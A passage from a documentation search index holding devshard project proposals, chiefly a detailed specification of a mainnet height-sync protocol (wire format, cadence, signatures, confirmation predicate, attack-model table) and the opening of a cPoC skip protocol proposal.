VoteOnMilestoneStop Anyone ExecuteMilestoneRelease (when conditions met) Hosts (via x/gov) Funding, MarkFunded, UpdateConfig, UpsertCommittee, Set*Committee, StopGrant, CompleteRefund, AdminReleaseMilestone, AdminSkipMilestone"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#9-events-and-tooling", "title": "9. Events and tooling", "text": "grant_draft_created, grant_funded, milestone_evidence_submitted, milestone_vote_cast, milestone_released { mode: approval | auto | auto_on_fund }, grant_stopped, committee_upserted, config_updated, etc.)—for indexers and dashboards.grantctl alongside inferenced:draft validate—lint JSON draft;funding-proposal --grant-id N—generate funding gov proposal from FundingProposalTemplate;manage-proposal {set-committee,set-milestone-committee,stop}—management proposal templates;milestone status / process-timeouts—monitoring and timeout cranks.Tooling does not replace host voting—it only removes manual JSON/base64 errors.
"}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/", "title": "#1244 — `devshard` `technical` Height-sync protocol", "text": "🔄 Auto-sync: from Discussion #1244 every hour.
"}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#devshard-technical-height-sync-protocol", "title": "devshard technical Height-sync protocol", "text": "Автор: @akup · Категория: Proposals · Создано: 2026-05-25 11:35 UTC · Обновлено: 2026-05-25 11:39 UTC
"}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#height-sync-protocol", "title": "Height-sync protocol", "text": "Currently devshard is missing decentralized block height oracle, that can is provable in a devshardd consensus level. It is critical for handling cPoC at devshardd without punishing hosts for missed rates, and for deterministic randomness unknown in advance, needed for validation protocol update.
This protocol part is very important but just a building block for cPoC and validation.
Related PR is here
User ↔ host envelopes carry an optional HeightSyncSection that attests to a mainnet (height, block_hash) pair. This section is the sole input to cross-host time alignment, timeout decisions, and the IsStrictlyConfirmed(h) predicate that downstream protocols (cPoC, finalization) gate verdicts on. block_hash is a source of determenistic randomness that is unknown in advance, used by VALIDATION_PROTOCOL_PROPOSAL.md
This document is the canonical, single-version spec. The in-tree implementation matches this document; the test catalog (height-sync-tests.md) lists what is already proven and what is planned.
Related docs: height-sync-tests.md (test catalog — implemented and planned), CPOC_PROTOCOL.md, FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md, VALIDATION_PROTOCOL_PROPOSAL.md.
K, slots_num, forced turns)IsStrictlyConfirmed)User–host inference traffic carries a two-section HTTP body:
HeightSyncSection — optional mainnet attestation: a signed (mainnet_height, mainnet_block_hash) pair, plus framing and provenance metadata.message_body — the application payload (opaque to height sync).Section 1 is emitted only when needed:
K nonces, a window of slots_num consecutive nonces carries Anchor; in between, Omit.MsgForceHeightSyncTurn opens a slots_num-wide Anchor span at any nonce (cPoC dispute open, operator force).|Δ| > D — when the sender's claimed height differs from the receiver's aligned height by more than D, the sender MUST use Strong (LightBlock + VerifyCommit); otherwise the receiver rejects.Hosts sign response-leg Anchors with their secp256k1 signer key; courier users carry these signed blobs forward, verifying on ingest and using them as on-demand exculpation proof. Request-leg Anchors are trusted by hosts (no inline signature) — the user proves provenance later if disputed.
A single IsStrictlyConfirmed(h) predicate exposes a discrete {confirmed, pending, stale} answer to downstream consumers.
At devshard we need source of mainnet height and randomness, that is unknowm in advance but is determenistic to make all hosts and user to aggree.
Each host has it's own latest (height, block_hash) oracle (inference chain grpc), and the prove by inference chain validators signatures. But hosts should aggree that any height provided to protocol is really latest. So there should be height sync protocol provided in this doc.
As devshard is designed for high throughput we aim to minimize extra data transferred in messages and minimize checks of minnet signatures. Also we are minimizing gossipping that should happen only on disputes and settlement to minimize traffic (as one host could be in a lot of devshard's)
So main design decitions are made:
(height, block_hash) and originator's (host that is responding to request) signature, to proove origin of this data for possible disputes. User is carrying forward (height, block_hash) at next requests to propogate this data to other hosts.height_in_the_future - known_height = |Δ| > D) we use the full data from mainnet (block hash and validators signatures) to validate the heightheight doesn't match the oracle block_hash we start the disputeAs the result we provide API at devshardd and devshardctl that gives latest height, block hash and the knowledge if majority of devshard network participants agree on this.
"}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#4-goals", "title": "4. Goals", "text": "LightBlock) on a sync-turn schedule keeps every host's view of mainnet time within a bounded window without per-message proof overhead.|Δ| > D or finalization requires it, validator-quorum-bound proof (LightBlock) is mandatory.(H, hash) is traceable to the originating host signature; carriers cannot be blamed for forwarding a malicious host's signed claim, and carriers that strip provenance become the cryptographic source.F on originator timestamp + per-recipient last-propagated bookkeeping prevents a carrier from re-using stale or already-delivered tips.IsStrictlyConfirmed(h) ∈ {confirmed, pending, stale} predicate so cPoC / finalization do not invent their own quorum logic.(C-quorum) confirmation.HeightSyncSection Wire-level header attached to every inference envelope; absent in Omit mode. Anchor proof_type = \"height-anchor-v1\"; carries (H, hash) without a LightBlock. Light path. Strong proof_type = \"cometbft-light-block-v1\"; carries LightBlock bytes; verified against pinned validator set with > 2/3 voting power. Omit No HeightSyncSection. H Mainnet height; uint64. hash Canonical BlockID.Hash for block H. K Distance (in nonces) between sync-turn windows. Constraint: K ≥ slots_num. slots_num Width of a sync-turn window in nonces (equals escrow host slots). D Strong-escalation band; \\|H_peer − H_local_aligned\\| > D ⇒ Strong required. Default 2. F Originator freshness budget. Default 60 s. W_conf Confirmation-index height window. Default max(256, ⌈F / block_time⌉). Q (C-quorum) threshold. Default ceil(2/3 × N_hosts). Originator The host whose own oracle first observed (H, hash). Identified by OriginatorSenderID on the wire. Carrier Any sender that forwards a section it did not originate (typically the user). Identified by the session signature. local_aligned The receiver's view of mainnet height (its own follower, or its peer-tip cache for courier users). IsStrictlyConfirmed(h) {confirmed, pending, stale} predicate consumed by cPoC."}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#6-architecture-overview", "title": "6. Architecture overview", "text": "flowchart LR\n subgraph mainnet [Gonka mainnet]\n BC[CometBFT consensus]\n end\n\n BC -- \"block headers + commits\" --> HSD[heightsyncd / blockoracle]\n\n subgraph host [Host runtime]\n HSD --> SCH_H[AnchorScheduler<br/>local-oracle source]\n SCH_H --> TX_H[transport.Server<br/>signs response leg]\n TX_H -- \"HeightSyncSection<br/>request inbound\" --> RX_H[Receiver pipeline<br/>D-band, freshness, classify]\n RX_H --> AUD_H[AuditRing + ConfirmationIndex]\n AUD_H -- \"IsStrictlyConfirmed\" --> CPOC_H[cPoC consumer]\n end\n\n subgraph user [Courier user / devshardctl]\n TIPS[HeightSyncPeerTips<br/>verbatim signed blobs] --> SCH_U[AnchorScheduler<br/>peer-tip source]\n SCH_U --> TX_U[transport.HTTPClient<br/>Carry, strip sig on request]\n TX_U -- \"response inbound<br/>verify + cache\" --> RX_U[Verify response Anchor<br/>RecordOriginWithBlob]\n RX_U --> TIPS\n TIPS -- \"IsStrictlyConfirmed\" --> CPOC_U[cPoC consumer]\n end\n\n TX_U -- \"request leg<br/>HeightSyncSection\" --> RX_H\n TX_H -- \"response leg<br/>HeightSyncSection (signed)\" --> RX_UKey invariants:
heightsyncd/blockoracle); this is the canonical source of local_aligned.local_aligned from the verified peer-tip cache populated by signed host responses.HeightSyncSection is the only mainnet-related wire surface on inference envelopes; the receiver pipeline is single-entry.HeightSyncSection is carried as protobuf field on the inference envelope and JSON-mirrored for tooling. Field numbers are stable.
proof_type string Anchor / Strong \"height-anchor-v1\" (Anchor) or \"cometbft-light-block-v1\" (Strong). 2 mainnet_height int64 Anchor / Strong Block height H. MUST NOT be set in Omit. 3 mainnet_block_hash_hex string (hex) Anchor / Strong Canonical BlockID.Hash for H. 4 timestamp_unix_ms int64 always When the carrier built this section. 5 direction string always \"request\" or \"response\". 6 originator_sender_id string carry-forward The host that first observed (H, hash) from its own oracle. Carrier MUST preserve. 7 originator_timestamp_unix_ms int64 carry-forward The originator's observation timestamp. Drives freshness gate F. 8 sender_signature bytes response leg only secp256k1 signature over canonical bytes of fields 1–7 + domain \"heightsync.origin.v1\". Empty on request leg. 9 light_block bytes Strong only Serialized LightBlock-equivalent (blockoracle.Header with Commit.Signatures). 10 tip_stale_after_ms int64 optional (Anchor) Advisory only — not origin-signed. Milliseconds since the producer's block oracle last ingested a new header. Set when cadence wanted Anchor but the feed is quiet (long block time, StaleAfter exceeded) while a cached (H, hash) is still available. Absent when the tip is fresh or on courier carry-forward re-emits. Receivers MUST NOT treat this field as part of the cryptographic attestation; use freshness gate F on originator timestamps and (C-quorum) / IsStrictlyConfirmed for liveness. Notes:
StaleAfter but Latest() still returns a cached header, hosts emit a normal Anchor (fields 1–8) plus field 10. This avoids sync-turn response Omit during long inter-block gaps; consensus across hosts still corrects a minority with an outdated tip. Omit remains mandatory when there is no cached tip (feed never started), Latest() fails (feed unavailable), or the courier peer-tip cache is empty.Carry() clears field 8 before sending on the request leg; inbound request validation does not require an inline signature.CanonicalOriginBytes(sec) = \"heightsync.origin.v1\" || proto.Marshal(fields 1..7). Field 8 is not part of the signing input.origin_attestation (embedded originator blob) is reserved for future inline-embed deployments; current protocol uses the asymmetric model (response signed, request trusted, on-demand exculpation).JSON mirror:
{\n \"height_sync\": {\n \"proof_type\": \"height-anchor-v1\",\n \"mainnet_height\": 42,\n \"mainnet_block_hash_hex\": \"abc...\",\n \"timestamp_unix_ms\": 1700000000000,\n \"direction\": \"response\",\n \"originator_sender_id\": \"gonka1host...\",\n \"originator_timestamp_unix_ms\": 1700000000000,\n \"sender_signature\": \"base64...\",\n \"light_block\": \"base64...\",\n \"tip_stale_after_ms\": 12000\n }\n}\n(tip_stale_after_ms omitted when the cached tip is fresh.)
stateDiagram-v2\n direction LR\n [*] --> Omit\n Omit --> Anchor: nonce in sync turn / forced turn / lazy carry\n Anchor --> Omit: next nonce outside window\n Anchor --> Strong: \\|H − local_aligned\\| > D OR forced (StrongRequired)\n Strong --> Anchor: peer realigned, within D again\n Anchor --> Anchor: cadence next turn\n Strong --> Strong: still > Dlight_block) When Omit absent absent Between sync turns; courier peer-tip cache cold; host feed unavailable or no cached tip. Anchor present empty Inside a sync-turn window (cadence / initial / forced) or lazy carry-forward in courier mode. Anchor (degraded) present + field 10 empty Same as Anchor when cadence applies but the host oracle is quiet (StaleAfter since last block) and a cached tip exists — see field 10. Strong present non-empty (verified) \\|Δ\\| > D, finalization-grade, or forced turn with StrongRequired = true. Periodic alignment uses Anchor only. Strong is not a default cadence step — it is the disagreement / dispute path.
Quiet feed vs dead feed (hosts):
Oracle state Cached tip Sync-turn response Fresh (block withinStaleAfter) yes Anchor (no field 10) Quiet (no new block within StaleAfter) yes Degraded Anchor (tip_stale_after_ms > 0) Quiet or fresh no Omit (oracle_miss when cadence required) Unavailable (Latest() error, e.g. height-sync stopped) — Omit"}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#9-cadence", "title": "9. Cadence", "text": ""}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#sync-turn-windows", "title": "Sync-turn windows", "text": "For a session direction, on outgoing nonce n:
1 ≤ n ≤ slots_num → Anchor (or Strong, see §10).i ≥ 1, i·K ≤ n ≤ i·K + slots_num − 1 → Anchor.Constraint: K ≥ slots_num so windows never overlap.
gantt\n title Sync-turn cadence (K=8, slots_num=4)\n dateFormat X\n axisFormat %s\n section Cadence\n Initial sync turn (Anchor) :a1, 1, 4\n Omit :a2, 5, 7\n Periodic sync turn 1 :a3, 8, 11\n Omit :a4, 12, 15\n Periodic sync turn 2 :a5, 16, 19MsgForceHeightSyncTurn(trigger_nonce, slots_num, reason, strong_required?) opens an ActiveForcedTurn{start, end} span:
[start, end]. Omit inside a forced turn is INVALID.strong_required = true upgrades the window to Strong.n > end, cadence resumes from the standard rule.Outside any sync-turn window, the courier user MAY emit Anchor on a request leg iff:
MaxFresh(now, F) returns non-nil).cached_max_height > last_propagated[recipient].The receiver classifies this as VALID_LAZY_ANCHOR (audit tag lazy); it does not open a sync-turn obligation.
OriginatorSenderID = host_address, OriginatorTimestampMs = now, and sign the section (field 8). If the oracle is quiet (no new block within StaleAfter) but a cached tip exists, still emit that Anchor and set tip_stale_after_ms to the age of the last ingested block (field 10 is set after signing input fields 1–7). Omit only when there is no usable cached tip or Latest() fails.forced.StrongRequired is set OR receiver's peer_aligned_height differs from local tip by > D: produce Strong by attaching the cached LightBlock for H (field 9).HeightSyncPeerTips keyed by OriginatorSenderID.VerifyOrigin); on failure, drop the tip and increment origin_sig_invalid_total.sender_signature) before sending.OriginatorSenderID = user_address; that field reflects the host that signed the cached blob.flowchart TD\n A[envelope arrives] --> B{HeightSyncSection<br/>present?}\n B -- no --> O{nonce in sync turn /<br/>active forced turn?}\n O -- yes --> O1[INVALID<br/>sync_turn_anchor_missing]\n O -- no --> O2[VALID_OMIT]\n B -- yes --> C{Anchor or Strong?}\n C -- Anchor --> D{\\|H − local_aligned\\| > D?}\n D -- yes --> D1[INVALID<br/>strong_required]\n D -- no --> E{carry-forward<br/>originator set?}\n E -- yes --> F{originator within F?}\n F -- no --> F1[INVALID<br/>stale_origin]\n F -- yes --> G[classify cadence / lazy<br/>by nonce vs sync turn]\n E -- no --> G\n C -- Strong --> H[StrongVerifier.VerifyLightBlock]\n H -- ok --> I[VALID_STRONG]\n H -- fail --> H1[INVALID<br/>strong_proof_invalid]\n G --> J{block H local AND<br/>hash matches?}\n J -- yes/match --> K[VALID_ANCHOR or<br/>VALID_LAZY_ANCHOR]\n J -- no/local-missing --> L[enqueue deferred check]\n J -- local AND mismatch --> M{originator present?}\n M -- yes --> M1[DISPUTE_ORIGINATOR]\n M -- no --> M2[DISPUTE_CARRIER]Normative steps for a non-Omit envelope:
ActiveForcedTurn[start..end] is set and start ≤ nonce ≤ end, the envelope MUST be Anchor (or Strong when StrongRequired). Omit ⇒ INVALID.D band. If proof_type == \"height-anchor-v1\" and |H − local_aligned| > D: INVALID (strong_required).proof_type == \"cometbft-light-block-v1\": run StrongVerifier.VerifyLightBlock (chain id, header vs claims, validators_hash, optional epoch-bound Step 3b, BlockID, commit > 2/3); failure ⇒ INVALID (strong_proof_invalid).OriginatorSenderID != \"\":now_ms − OriginatorTimestampMs > F ⇒ INVALID (stale_origin); audit trust = TrustDisputeCarrier.VALID_ANCHOR (tag cadence).VALID_LAZY_ANCHOR (tag lazy).VALID_ANCHOR.H is local and hash matches → confirmed immediately; feed ConfirmationIndex.H is not yet local → enqueue deferred check by (originator, H, hash); do not advance height_seen_max.H is local and hash differs → DISPUTE_ORIGINATOR (originator metadata present) or DISPUTE_CARRIER (originator absent or signature failed); persist the offending signed blob.AnchorAttestation (with Tag, Trust, OriginatorSenderID, OriginSignedBlobAvailable) to the per-peer ring; emit counters.message_body if not INVALID.VALID_OMIT No height attestation; framing OK. VALID_ANCHOR Anchor inside cadence / forced span; hash matched or deferred enqueued. VALID_LAZY_ANCHOR Anchor outside cadence (courier path); same audit semantics as VALID_ANCHOR, tag lazy. VALID_STRONG LightBlock verified against pinned set; may advance strong anchor state. VALID_STALE Cryptographically OK but recency rule fails (Strong-only). DEFERRED_FAIL Deferred check found hash mismatch ⇒ evidence vs originator. DISPUTE_ORIGINATOR Same-height / different-hash with verified originator. DISPUTE_CARRIER Same-height / different-hash without verified provenance. INVALID(reason) One of: sync_turn_anchor_missing, stale_origin, strong_required, strong_proof_invalid, bad_framing."}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#12-trust-model-and-signatures", "title": "12. Trust model and signatures", "text": "The protocol is asymmetric: responses are signed, requests are trusted, exculpation is on-demand.
sequenceDiagram\n participant U as User (courier)\n participant H as Host A\n participant H2 as Host B\n U->>H: request (request leg, no sig)\n H->>U: response Anchor [signed by Host A]\n Note over U: VerifyOrigin OK<br/>RecordOriginWithBlob(host_A, H, blob, sig)\n U->>H2: request Anchor (carry-forward, no inline sig)\n Note over H2: trusts carrier;<br/>freshness gate F applies\n Note over H2: later, follower advances<br/>compares hash to canonical\n H2-->>U: DEFERRED_FAIL? open dispute vs user\n U->>U: HeightSyncEvidenceFor(host_A, H) → blob + sig\n U-->>H2: signed_blob proves originator = Host A<br/>⇒ DISPUTE_ORIGINATOR vs Host AOriginatorSenderID, OriginatorTimestampMs, builds CanonicalOriginBytes (fields 1–7 + domain heightsync.origin.v1).origin_sig_invalid_total increments.RecordOriginWithBlob(originator, sec, blob, sig).Carry() strips field 8 before sending.If a host later opens a dispute against the user-carrier, the user calls HTTPClient.HeightSyncEvidenceFor(originator, H) to produce the cached (blob, sig). A dispute verifier re-runs VerifyOrigin; success ⇒ blame shifts to the originating host (DISPUTE_ORIGINATOR); failure ⇒ blame stays on the carrier (DISPUTE_CARRIER).
When Strong is on the wire (light_block non-empty), validation is cryptographic against the pinned validator set:
LightBlock-equivalent (blockoracle.Header).chain_id, height, block_hash against claims.validators_hash matches Merkle root of the pinned set.BlockID == hdr.BlockID.VerifyCommit: every commit signature ecrecovers to a pinned validator, no duplicates, accumulated power strictly > 2/3 of total.h ≥ local_tip − max_lag_blocks else VALID_STALE.OriginatorSenderID or OriginatorTimestampMs.D bound on carry-forward. A carry-forward Anchor with |H − local_aligned| > D is INVALID; carrier MUST escalate to Strong instead. (This is a stricter form of strong_required.)DISPUTE_CARRIER).last_propagated discipline", "text": "HeightSyncPeerTips.ShouldPropagateTo(recipient, h) returns true iff h > last_propagated[recipient]. On a successful send, MarkPropagated(recipient, h) advances the high-water mark. Reaching a quorum at a late host requires a strictly increasing height ladder (production-faithful) — not three lazy carries at the same H.
// devshard/heightsync/confirmation.go\n\ntype ConfirmState int\nconst (\n ConfirmPending ConfirmState = iota\n ConfirmConfirmed\n ConfirmStale\n)\n\ntype ConfirmationView interface {\n IsStrictlyConfirmed(h uint64) ConfirmState\n}\nSemantics:
confirmed — h has cleared the configured confirmation rule. Downstream protocols MAY treat (h, hash) as authoritative.pending — height-sync has data for h but has not yet cleared the rule. Downstream MUST NOT commit adversarial verdicts; cPoC returns Inconclusive (C6).stale — h cannot be evaluated because the oracle is stale / disconnected. Downstream treats verdicts as Inconclusive until recovery.Monotonicity: once confirmed, a height stays confirmed. pending → confirmed is the only forward transition.
Configured at deployment time:
Rule Predicate(C-quorum) ≥ Q distinct originators from the roster have attested heights ≥ h, all within F, all in [tip − W_conf, tip]. (C-strong) Receiver has at least one verified LightBlock for height ≥ h. (C-hybrid) Either of the above clears. PoC deployments without Strong run (C-quorum). Production-class deployments SHOULD select (C-hybrid) once Strong is enabled.
F Freshness; ineligible after now − observed_at > F 60 s W_conf Index window: only heights in [tip − W_conf, tip] count max(256, ⌈F / block_time⌉) Q Quorum threshold (C-quorum) ceil(2/3 × N_hosts) max_height < tip − W_conf or observed_at past F).confirmed_heights set so pruning never demotes a confirmed height.V view, not global", "text": "IsStrictlyConfirmed is computed against the caller's own audit ring and clock. Two verifiers may transiently disagree (pending vs confirmed); cPoC's quorum-based slashing tolerates this.
The following Go APIs are the stable surface that cPoC and finalization consume. Implementation paths in parentheses.
"}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#151-discrete-confirmation-predicate", "title": "15.1 Discrete confirmation predicate", "text": "// On the user side (courier):\nfunc (c *transport.HTTPClient) ConfirmationView() heightsync.ConfirmationView\n// On the host side (own oracle):\nfunc (s *transport.Server) ConfirmationView() heightsync.ConfirmationView\nBoth expose ConfirmationView.IsStrictlyConfirmed(h uint64) ConfirmState. cPoC §C6 / §C14 / §Verdict step 5 call this directly.
Usage example (cPoC verdict):
view := server.ConfirmationView()\nswitch view.IsStrictlyConfirmed(h) {\ncase heightsync.ConfirmConfirmed:\n // commit verdict\ncase heightsync.ConfirmPending:\n return InconclusivePendingHeight(h)\ncase heightsync.ConfirmStale:\n return InconclusiveStaleOracle()\n}\nfunc (c *transport.HTTPClient) ObservedHeightNow() (uint64, bool)\nReturns (h, true) where h is the highest fresh tip in the courier peer-tip cache; (0, false) when no fresh tip exists or height sync is not configured. Used by cPoC C14 heartbeats — a false return means \"Inconclusive — no fresh height\".
// User side: produce the originator's signed blob for (originator, h).\nfunc (c *transport.HTTPClient) HeightSyncEvidenceFor(\n originator string, h int64,\n) (blob, sig []byte, ok bool)\nReturned by the courier cache (HeightSyncPeerTips.OriginSignedBlobFor). Verifiable with heightsync.VerifyOriginDetached(verifier, sec, blob, sig) without reaching the user.
// Host side: return cached LightBlock for h, if available.\nfunc (s *transport.Server) LightBlockFor(h int64) (proof []byte, ok bool)\nWhen the receiver's follower has advanced past a disputed H, the dispute packet may carry both halves:
HeightSyncEvidenceFor (blame).LightBlock from LightBlockFor (canonical pair).A mock dispute verifier returns DISPUTE_ORIGINATOR when both pass.
// Server option:\ntransport.WithHeightSyncSeedRPC(true)\n// Client call:\nfunc (c *transport.HTTPClient) SeedHeightSync(ctx context.Context) (uint64, bool, error)\nOpt-in POST /sessions/:id/height-sync: the host returns a forced Anchor (originator-signed). The courier verifies + caches it before issuing the first inference — useful for short-lived sessions where the first inference is not in a sync turn.
// Operator / dispute / cPoC trigger:\nstate.SendMsgForceHeightSyncTurn(triggerNonce, slotsNum, reason, strongRequired)\nOpens an ActiveForcedTurn in the next diff; every envelope in [trigger, trigger + slots_num − 1] MUST be Anchor (or Strong when strongRequired = true).
type AuditRing interface {\n List(peerID string) []AnchorAttestation\n ListPeers() []string\n ConfirmationView() ConfirmationView\n}\n\nfunc (c *transport.HTTPClient) HeightSyncAuditRing() *heightsync.AuditRing\nfunc (s *transport.Server) HeightSyncAuditRing() *heightsync.AuditRing\nUsed by dispute / finalization consumers that need verbatim attestations and per-peer history.
"}, {"location": "community/discussion/proposals/1244-devshard-technical-height-sync-protocol/#16-attack-model", "title": "16. Attack model", "text": "Each row maps an adversary action to the protocol's defence and to the test scenario that proves it (full catalog in height-sync-tests.md).
(H, hash) and signs it (C-quorum) rejects single bad vote; deferred check eventually triggers DEFERRED_FAIL; DISPUTE_ORIGINATOR with stored signed blob TestHeightSyncAnchor_E2E_MixedHeights_Confirmed, TestHeightSyncAnchor_E2E_CheatingTrailStoresBogusUserHash, TestHeightSyncAnchor_E2E_CarrierExculpation; planned: TestHeightSyncStrong_E2E_DeferredFail_StrongEvidence 2 Carrier replays a stale originator section Freshness gate F rejects with stale_origin; carrier flagged TrustDisputeCarrier TestHeightSyncAnchor_E2E_StaleOriginRejected, TestHeightSyncAnchor_E2E_HeldOriginatorReplayRejected 3 Carrier strips originator fields on carry-forward Carrier becomes the cryptographic signer; DISPUTE_CARRIER on mismatch; sync-turn empty-originator audit dispute sentinel Existing audit-ring tests; TestHeightSyncAnchor_E2E_ForcedSyncTurn_HostResponsesAnchorEvenIfUserOmits 4 Carrier substitutes hash Audit verbatim; quorum cannot reach confirmed; eventually DEFERRED_FAIL TestHeightSyncAnchor_E2E_CheatingTrailStoresBogusUserHash 5 Host returns invalid sender_signature User drops tip; origin_sig_invalid_total increments; no cache; reputation/liveness handles persistent offenders TestHeightSyncAnchor_E2E_ResponseOriginSignatureInvalidDropped, TestClient_ResponseAnchor_DropsOnInvalidSig 6 Sender claims (H, hash) \\|Δ\\| > D ahead with Anchor (no Strong) INVALID(strong_required); carrier cannot escape via originator metadata Planned: TestClassify_StrongRequiredOutsideD, S1, S8 7 Tampered LightBlock (signatures, validators_hash, BlockID) Step 2/3/5/6 of CometBFT verification rejects Planned: TestVerifyLightBlock_*, S4 8 Validator-set substitution (wrong epoch) Optional Step 3b verifies against epoch participants Planned: S9 9 Mainnet feed unavailable mid-session (Latest() fails) Scheduler emits Omit on sync turn; IsStrictlyConfirmed → stale; no crashes; cPoC returns Inconclusive TestHeightSyncAnchor_E2E_HeightSyncFeedStopped_*, TestHeightSyncAnchor_E2E_StaleOracle_Inconclusive 13 Long inter-block time (feed quiet, cached tip still valid) Host emits degraded Anchor with tip_stale_after_ms; courier may still ingest verified response tips; (C-quorum) reconciles height across hosts TestAnchorScheduler_StaleFeedEmitsDegradedAnchorInSyncTurn, TestDecide_LogStaleSyncTurn, container TestContainerE2E_HeightSync_Cadence (testenv MOCKDAPI_STALE_AFTER ≥ block cadence) 10 Host equivocates across sessions ((H, hash_A) then (H, hash_B)) Per-V audit ring + dispute layer cross-session check Audit-ring tests; full cross-session detection deferred to dispute plan 11 User omits Anchor inside a forced sync turn Hosts MUST still emit Anchor on responses; missing user Anchor recorded as force_request_anchor_missing sentinel for dispute TestHeightSyncAnchor_E2E_ForcedSyncTurn_HostResponsesAnchorEvenIfUserOmits 12 Replay an old verified LightBlock Recency gate local_tip − max_lag_blocks → VALID_STALE; never advances aligned height Planned (Strong recency) Out-of-scope adversaries:
> 2/3 of mainnet validators — outside this protocol's defence; same as any L1 consensus assumption.blockoracle/verifier); height sync does not re-validate.K 8 AnchorScheduler constructor (NewAnchorSchedulerFromOracle(K, slots, src)) slots_num 4 (testenv) / slots_num = escrow.HostSlots (production) same D 2 StrongPolicy.D (planned) F 60 s HeightSyncPeerTips.Freshness, ConfirmationConfig.Freshness W_conf 256 heights ConfirmationConfig.WindowHeights Q ceil(2/3 × N_hosts) ConfirmationConfig.Quorum (override; defaults from roster size) Audit-ring capacity 1024 per peer NewAuditRing(capacity) Header-cache window (Strong) 64 heights BlockOracleStrongSource.K (planned) Strong recency off (max_lag_blocks = 0) follow-on hardening Confirmation rule (C-quorum) ConfirmationConfig.Rule (Quorum/Strong/Hybrid) StaleAfter (block oracle client) 10 s client default; testenv: block_time + block_interval_delta + 1s (floor 10s) MOCKDAPI_STALE_AFTER env (compose / devshardd-testenv)"}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/", "title": "#1256 — `devshard` cPoC skip protocol", "text": "🔄 Auto-sync: from Discussion #1256 every hour.
"}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#devshard-cpoc-skip-protocol", "title": "devshard cPoC skip protocol", "text": "Автор: @akup · Категория: Proposals · Создано: 2026-05-26 10:40 UTC · Обновлено: 2026-05-26 10:40 UTC
"}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#cpoc-skip-protocol-devshard-proposal", "title": "cPoC skip protocol (devshard) — proposal", "text": ""}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#summary", "title": "Summary", "text": "In a devshard, hosts that run confirmation PoC (cPoC) must not serve normal inference for the duration of their PoC obligation. Other hosts must be able to tell whether a skip is legitimate (the skipping host is on the cPoC schedule at the relevant height) or abusive (lying, or refusing work). This document specifies the data flow and the cases that the cPoC protocol must handle.
The core idea that hosts know mainnet heights and there is (out of scope) concensus mechanism to agree on that heights. Hosts bind nonces to heights, but only to nonces they know. If host served request with nonce_A it binds it to H_A(host), the next nonce served by this host will be nonce_B = nonce_A + slots_num. So every nonce between nonce_A and nonce_B from the hosts view is between known to host H_A(host) and H_B(host). And there are nonces where some other host skips the inference because of performing cPoC. So the other hosts can verify, if this skip was valid or not.
Out of scope for this document:
**H(host)** equal to the height known to the majority of validators / devshard hosts (its own follower + height-sync rules have converged on that value). Discrepancies at the level handled by the height-sync spec are that spec’s problem; this document only distinguishes the cases where such a discrepancy affects a cPoC verdict and defers the discrepancy itself to height sync.Valid / Invalid / Inconclusive) and hands evidence to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.It may be easier to understand this proposal through worked examples; see Cases to handle (case / dataflow).
Status: draft — data flow + cases specified below; wire schemas, chain hooks, and slashing predicates still TBD.
"}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#scope", "title": "Scope", "text": "Part Content Depth in this doc 1 On escrow start, random (or policy-driven) host assignment so that roughly ~20% of devshard hosts havePOC_SLOT = true (keep serving inference during cPoC windows) and the rest run cPoC when scheduled. Out of scope for deep specification — operational/policy; implementers can fix exact ratio and RNG source separately. 2 Protocol for proving that a host was entitled to skip inference because of cPoC at a given mainnet height, under height disagreement and Byzantine developers/hosts. In scope — normative intent below; formalization pending."}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#shared-assumptions-informative", "title": "Shared assumptions (informative)", "text": "**V exposes a scalar **H(V)** — the mainnet height known to the majority of validators / devshard hosts as of **V’s latest convergence with the height-sync layer. This doc does not re-specify how H(V) is computed, trusted, or refreshed; see HEIGHT_SYNC_PROTOCOL_PROPOSAL. When this doc says “height **H” without qualification, read it as **H(V) at the moment V evaluates the case.**H_i** and a mainnet height **H**, there exists a deterministic predicate **Schedule(H_i, H) ∈ {idle, prepare, active}** derivable from chain / epoch state by anyone with that height. Semantics of prepare vs active are defined in the chain-side cPoC spec and out of scope here.**N_slots slots and fixed mapping **executor(nonce) = hosts[nonce mod N_slots]**, the same logical slot recurs at **nonce + N_slots** (one round**).**R_req is merged into the session's linearized diff at some later nonce **R_req + x, **x ≥ 0** — not necessarily the same nonce. Any nonce-bound rule must work on the nonce at which a message appears in Diff, not on wall-clock pairing with the outbound request.All nonces below are monotonic indices into Diff (Data flow § Per-session local state). They are defined here once so later sections can reference them without re-introducing each.
